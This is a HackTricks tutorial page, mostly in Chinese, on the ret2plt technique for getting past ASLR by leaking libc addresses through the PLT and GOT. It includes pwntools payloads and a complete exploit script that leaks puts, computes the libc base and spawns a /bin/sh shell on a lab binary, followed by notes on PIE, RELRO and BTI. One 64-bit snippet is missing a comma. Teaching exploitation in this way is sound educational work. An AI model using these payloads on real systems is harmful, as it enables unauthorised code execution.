Ret2plt

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

该技术的目标是从 PLT 的函数中 leak 一个地址,以便绕过 ASLR。因为例如,如果你 leak 出 libc 中函数 puts 的地址,你就可以 计算出 libc 的基址 并计算偏移以访问其他函数,例如 system

这可以通过一个 pwntools payload 来完成,例如 (from here):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

注意 puts(使用来自 PLT 的地址)如何被调用,并传入位于 GOT (Global Offset Table) 中的 puts 的地址。原因是当 puts 打印出 puts 在 GOT 中的条目时,该条目将包含 puts 在内存中的精确地址

另请注意在 exploit 中使用了 main 的地址,因此当 puts 执行结束时,binary 会再次调用 main 而不是退出(so the leaked address will continue to be valid)。

Caution

注意,为了使此方法生效,binary 不能使用 PIE 编译,或者你必须已经找到一个 leak 来绕过 PIE以便知道 PLT、GOT 和 main 的地址。否则,你需要先绕过 PIE。

你可以在 在此处查看该绕过的完整示例 找到示例。这是该 示例 中的最终 exploit:

完整 exploit 示例 (ret2plt leak + system) ```python from pwn import *

elf = context.binary = ELF(‘./vuln-32’) libc = elf.libc p = process()

p.recvline()

payload = flat( ‘A’ * 32, elf.plt[‘puts’], elf.sym[‘main’], elf.got[‘puts’] )

p.sendline(payload)

puts_leak = u32(p.recv(4)) p.recvlines(2)

libc.address = puts_leak - libc.sym[‘puts’] log.success(f’LIBC base: {hex(libc.address)}’)

payload = flat( ‘A’ * 32, libc.sym[‘system’], libc.sym[‘exit’], next(libc.search(b’/bin/sh\x00’)) )

p.sendline(payload)

p.interactive()

</details>

## 现代注意事项

- **`-fno-plt` builds**(在现代发行版中常见)将 `call foo@plt` 替换为 `call [foo@got]`。如果二进制没有 `foo@plt` stub,你仍然可以用 `puts(elf.got['foo'])` 泄露已解析的地址,然后**直接返回到 GOT 条目**(`flat(padding, elf.got['foo'])`),一旦 lazy binding 完成即可跳入 libc。
- **Full RELRO / `-Wl,-z,now`**:GOT 是只读的,但 ret2plt 仍然可以用于泄露,因为你只是读取 GOT 插槽。如果该符号从未被调用,你的第一次 ret2plt 也会触发 lazy binding,然后打印已解析的插槽。
- **ASLR + PIE**:如果启用 PIE,先泄露一个代码指针(例如保存的返回地址、函数指针,或通过另一个 format‑string/infoleak 泄露的 `.plt` 条目)以计算 PIE 基址,然后用重新基址的 PLT/GOT 地址构建 ret2plt 链。
- **Non‑x86 architectures with BTI/PAC (AArch64)**:PLT 条目是有效的 BTI landing pads(`bti c`),因此在针对启用 BTI 的二进制进行利用时,优先跳入 PLT stub(或其他有 BTI 注释的 gadget),而不是直接跳入没有 BTI 的 libc gadget,否则 CPU 会触发 `BRK`/`PAC` 错误。
- **Quick resolution helper**:如果目标函数尚未解析且你需要一次性得到泄露,可以把 PLT 调用串联两次:先调用 `elf.plt['foo']`(用于解析),然后再调用 `elf.plt['foo']`,把 GOT 地址作为参数来打印已填充的插槽。

## Other examples & References

- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit,启用 ASLR 但未启用 PIE。第一步是填充溢出直到 canary 的 0x00 字节,然后调用 puts 泄露它。有了 canary 后,构造 ROP gadget 调用 puts 来泄露 GOT 中 puts 的地址,然后用另一个 ROP gadget 调用 `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits,启用 ASLR,无 canary,来自子函数的 main 中发生栈溢出。使用 ROP gadget 调用 puts 泄露 GOT 中 puts 的地址,然后调用 one gadget。

## References

- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)

> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>